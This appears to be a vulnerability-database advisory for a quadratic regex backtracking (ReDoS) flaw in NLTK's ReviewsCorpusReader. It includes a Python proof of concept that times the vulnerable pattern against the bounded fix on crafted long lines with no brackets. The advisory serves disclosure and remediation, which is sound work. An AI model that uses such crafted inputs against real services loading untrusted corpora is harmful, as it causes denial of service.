Vulnerability Database

370,053

Total vulnerabilities in the database

CVE-2026-12061 — nltk

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

CVSS v3:

  • Severity: High
  • Score: 7.5
  • AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.